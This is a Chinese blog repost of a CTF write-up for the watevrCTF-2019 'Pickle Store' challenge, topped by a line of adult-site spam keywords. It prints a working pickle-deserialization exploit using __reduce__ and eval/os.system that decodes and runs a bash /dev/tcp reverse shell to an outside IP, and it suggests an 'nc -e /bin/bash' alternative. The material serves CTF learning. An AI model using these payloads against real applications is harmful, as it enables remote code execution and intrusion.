日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[watevrCTF-2019]Pickle Store

發布時間:2025/4/16 编程问答 21 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [watevrCTF-2019]Pickle Store 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

  • 思路
  • 題解
  • 總結


思路

先抓個包看看,里面有個session


base64解碼后拿到一串亂碼,根據題目可以得知考點是pickle反序列化

import base64 import pickleprint(pickle.loads(base64.b64decode("gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu")))


pickle反序列化可以用__reduce__魔術方法來重寫里面的方法

在開發時,可以通過重寫類的 object.reduce() 函數,使之在被實例化時按照重寫的方
式進行。具體而言, python 要求 object.reduce() 返回一個 (callable,
([para1,para2…])[,…]) 的元組,每當該類的對象被 unpickle 時,該 callable 就
會被調用以生成對象(該 callable 其實是構造函數)。

題解

直接拿模板

exp

import base64 import pickleclass shell(object):def __reduce__(self):# bash -i >& /dev/tcp/你的ip/9999 0>&1的base64#不能直接bash -i 0>&1那種寫法,因為像是&這些符號 都是linux的shell關鍵字 會影響他的語法return (eval, ("__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuOTEuMjYuMjI5Lzk5OTkgMD4mMQ== | base64 -d | bash ')",))k = shell() print(base64.b64encode(pickle.dumps(k)))

也可以用nc ip port -e /bin/bash,不過nc -e的主動連接不一定成功 因為他不一定裝了nc

然后再你的vps里監聽 9999 端口

nc -lvp 9999

把拿到的結果寫入cookie發包,成功反彈shell


總結

中途遇到了點問題,連接被拒絕,發現是安全組策略問題,放行一些端口就好了

總結

以上是生活随笔為你收集整理的[watevrCTF-2019]Pickle Store的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。